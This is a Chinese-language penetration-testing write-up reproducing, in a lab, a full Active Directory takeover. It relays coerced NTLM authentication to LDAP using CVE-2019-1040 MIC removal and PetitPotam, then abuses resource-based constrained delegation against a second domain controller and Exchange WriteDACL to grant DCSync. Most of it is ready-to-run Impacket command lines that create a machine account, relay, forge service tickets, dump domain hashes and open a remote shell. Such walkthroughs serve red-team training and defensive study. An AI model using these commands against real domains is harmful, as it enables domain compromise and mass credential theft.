NTLM 中继到 LDAP 结合 CVE-2019-1040 接管全域

目录

LDAP中继

LDAP签名

CVE-2019-1040 NTLM MIC 绕过漏洞

漏洞背景

漏洞利用链

利用方式 1：配置基于资源的约束委派-攻击域控

利用方式 2：攻击 Exchange

Exchange windows permissions 组介绍

复现

LDAP中继

LDAP（轻量级目录访问协议） 是域控制器用来访问和管理 Active Directory 的协议，它也支持 NTLM 身份验证。因此，攻击者可以利用 NTLM 中继将身份验证请求转发到 LDAP 服务，从而实现对 Active Directory 的修改或访问。

LDAP签名

LDAP签名的目的是通过对数据包进行完整性检查，防止中间人攻击和篡改请求。默认情况下，LDAP服务器是协商签名，而非强制签名。是否签名是由客户端决定的。客户端分情况，如果是smb协议的话，默认要求签名的，如果是webadv或者http协议，是不要求签名的。

通过打印机漏洞获取的net-ntlm 响应，发起的请求是Smb协议的请求，这也意味着我们客户端默认是要求签名的。所以我们需要进行绕过。

客户端将签名与否的决定通过ntlm认证中的一个标志位来发送给服务端，因为发起者是smb协议，默认这个标志位为1，服务端会选择进行签名。但是如果我们修改为0的话，又因为微软有一套MIC校验机制，将导致 MIC 无效并且身份验证失败。而CVE-2019-1040漏洞可绕过NTLM MIC的防护机制，以使我们修改标志位，来让服务器不进行 ldap 签名。在 ntlmrelayx.py 中通过设置选项 --remove-mic 来使用 CVE-2019-1040 绕过签名。

CVE-2019-1040 NTLM MIC 绕过漏洞

漏洞背景

2019年6月11日，微软发布6月份安全补丁更新。在该安全补丁更新中，对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于Windwos 大部分版本中，当中间人攻击者能够成功绕过NTLM 消息完整性校验（MIC）时，Windows 存在可能可篡改的漏洞。成功利用此漏洞的攻击者可以获得降级 NTLM 安全功能的能力。要利用此漏洞，攻击者需要篡改NTLM 交换，然后修改NTLM 数据包的标志，而不会使签名无效。结合其他漏洞和机制，在某些场景下，攻击者可以在仅有一个普通账户域账户的情况下接管全域。

漏洞利用链

漏洞完整利用链需要结合NTLM Relay。完整的攻击链如下：

• 使用域内任意有效账户，通过SMB连接到目标机器，使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标机器向指定的机器进行NTLM 认证；
• 中继服务器收到目标机器的NTLM 认证流量后，通过删除相应的字段绕过NTLM 的完整性校验并修改NTLM 数据包的标志位使得其从SMB协议中继到LDAP 不需要签名；
• 使用中继的LDAP流量，通过LDAP远程连接域控，执行高权限操作，赋予指定的账户高权限；
• 使用提升了权限的账户进行“后利用”，接管全域。

1、触发目标NTLM请求

攻击者需要向目标机器发起NTLM请求才能进行NTLM Relay利用，这里可以利用使用Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行NTLM 认证

2、LDAP 签名绕过

由于通过Print Spooler 漏洞和PetitPotam漏洞触发的NTLM 认证都是基于SMB协议的，因此目标需要将SMB 协议的身份验证流量通过LDAP中继到域控。但是NTLM 认证的工作方式决定了无法直接将SMB协议流量中继到LDAP。默认情况下，客户端和域控或Exchange服务器进行SMB通行时，是强制要求签名的。

此时将SMB流量中继到LDAP时，由于Negotiate Sign 和 Negotiate Always Sign 标志为Set，该标志位触发LDAP签名。而我们又无法伪造签名，因此会被LDAP忽略，导致攻击失败。而 CVE-2019-1040 的关键就在于我们能绕过NTLM的消息完整性校验，导致可以任意修改NTLM认证的的数据包。因此当我们在绕过消息完整性校验之后，可以修改流量的标志位已协商不开启LDAP签名校验。

利用方式 1：配置基于资源的约束委派-攻击域控

攻击域控需要目标域内至少存在两台域控：一台用于通过 PetitPotam 触发NTLM身份验证请求。另一台用于接收中继请求到本地的LDAP服务。

• 域控 win2016：192.168.10.2
• 域控 2：192.168.10.3（为辅助域控，也可以换成其他想要被获取权限的机器）
• kali：192.168.10.17

1. 添加机器账号

利用普通域用户在域中添加一个机器账户 test$/Aa123.com，以便稍后通过 LDAP 配置 RBCD。

python3 addcomputer.py test.lab/lucy:lucy.com -computer-name test\$ -computer-pass Aa123.com -dc-ip 192.168.10.2

2. 设置NTLM中继服务器

kali启动 ntlmrelayx.py。ntlmrelayx.py 将接收的身份验证请求中继到域控制器的 LDAP 服务（192.168.10.2），同时修改域控 2 机器账号的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性为 test$ 的 sid 值。这样，test$ 就可以代表目标机器向 Kerberos 请求服务票据，从而获取域控 2 的权限。

python3 ntlmrelayx.py -t ldap://192.168.10.2 -debug --delegate-access --escalate-user test\$ -smb2support --remove-mic

● -t ldap://192.168.10.2: 指定中继的目标为 LDAP 服务。

● --delegate-access: 用于配置基于资源的约束委派。

● --escalate-user test$: 将 RBCD 的权限设置到 test$。

● --remove-mic: 通过 CVE-2019-1040 漏洞绕过NTLM MIC的防护机制，以使我们修改标志位，来让服务器不进行ldap签名。

3. 触发 NTLM 身份验证

通过 PetitPotam 触发域控 2 向 kali 发起 NTLM 身份验证请求。（在低版本 08和12下可以匿名触发，不需要域用户。在16版本及以上，就需要指定一个普通域用户账号和密码）

Kali 服务器会将这个请求中继到指定的 LDAP 服务（192.168.10.2），并尝试执行 RBCD 配置

python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.3
#192.168.10.17 kali ip
#192.168.10.3 域控2的ip

此时在ntlmrelayx.py 中可观察到，成功修改域控 2 机器账号 DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值为机器账号 test$的sid值。即配置基于资源的约束委派，通过设置该属性，允许机器账户 test$ 代表域控 2 上的其他用户（如 administrator）的身份执行操作。

#后面要清除DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值，请在dc上执行
powershell
$TargetAccountDN = "CN=DC-2,OU=Domain Controllers,DC=test,DC=lab"
Set-ADComputer -Identity $TargetAccountDN -Clear "msds-allowedtoactonbehalfofotheridentity"
#查看是否成功清除
Get-ADComputer -Identity "DC-2" -Properties * | Select-Object msds-allowedtoactonbehalfofotheridentity

4. 申请服务票据

利用 test$ 的 RBCD 权限，向 KDC 请求代表 administrator 的服务票据（TGS）

#使用getST.py申请票据
python3 getST.py test.lab/test$:Aa123.com -spn cifs/dc-2.test.lab -impersonate administrator -dc-ip 192.168.10.2
#导入票据
export KRB5CCNAME=/root/Desktop/neiwangTools/administrator@cifs_server1.test.lab@TEST.LAB.ccache
#添加hosts
vim /etc/hosts，添加 192.168.10.3 dc-2.test.lab
#导出域内hash
python3 secretsdump.py -k -no-pass dc-2.test.lab -just-dc
#获取dc-2权限
python3 wmiexec.py -k test.lab/administrator@dc-2.test.lab -no-pass -codec gbk

通过中继到 LDAP，攻击者实现了对 RBCD 的配置修改，使低权限账户（如 test$）可以代表高权限用户（如 administrator）进行操作。

利用方式 2：攻击 Exchange

Exchange windows permissions 组介绍

Microsoft Exchange Security Groups 是一组在 Exchange 安装后默认创建的 AD 安全组，其中有两个重要的组：

1. Exchange Windows Permissions 组：该组的用户或计算机对象对域内其他对象（如用户、组、计算机等）具有 WriteDACL 权限，这意味着它们可以修改这些对象的访问控制列表（ACL），从而赋予他们额外的权限。
2. Exchange Trusted Subsystem 组：这个组又隶属于Exchange Windows Permission，继承了Exchange Windows Permission组的权限。所以Exchange Trusted Subsystem 组的成员也拥有 writeDACL 权限。而 Exchange Trusted Subsystem 组成员默认只有 Exchange 机器账号。

如果攻击者能够利用 Exchange Trusted Subsystem 组的成员凭据，则可以

1. 修改其他用户（如普通用户或高权限用户）的 ACL。
2. 为目标用户（如 lucy）添加 DCSync 权限，实现权限提升。

复现

• win2012R2 系统中安装的Exchange2016：192.168.10.10
• win2016 域控：192.168.10.2
• kali：192.168.10.17

攻击流程介绍：

1. 使用 petitpotam 触发 Exchange 机器账号向 ntlmrelayx.py 发起 NTLM 身份验证请求；
2. ntlmrelayx.py 接收来自 Exchange 机器的 NTLM 身份验证请求，并将其中继到域控制器的 LDAP 服务（192.168.10.2）。在中继过程中，攻击者实际上借用了 Exchange 机器账号的凭据，以其身份向域控制器进行交互。
3. 利用 Exchange 机器账号的 WriteDACL 权限：Exchange 机器账号 是 Exchange Trusted Subsystem 的成员，继承了 Exchange Windows Permissions 组的权限。该账号拥有对域内其他对象的 WriteDACL 权限。攻击者利用这个权限，通过 LDAP 修改目标用户（lucy）的 ACL，将 DCSync 权限（即 Replicating Directory Changes 和 Replicating Directory Changes All 权限）添加到 lucy 用户上。
4. lucy 权限提升：一旦 lucy 被赋予 DCSync 权限，就能从域控导出 hash

python3 ntlmrelayx.py -t ldap://192.168.10.2 --remove-mic --escalate-user lucy -smb2support
python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.10

python3 secretsdump.py test.lab/lucy:"lucy.com"@192.168.10.2 -just-dc-ntlm

最后从域控上查看下拥有 dcsync 权限的对象，显示用户 lucy 拥有 Replicating Directory Changes 和 Replicating Directory Changes ALL 权限即 DCSync 权限。

AdFind.exe -s subtree -b "DC=test,DC=lab" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

参考：

域控常见打法总结

奇安信攻防社区-NTLM realy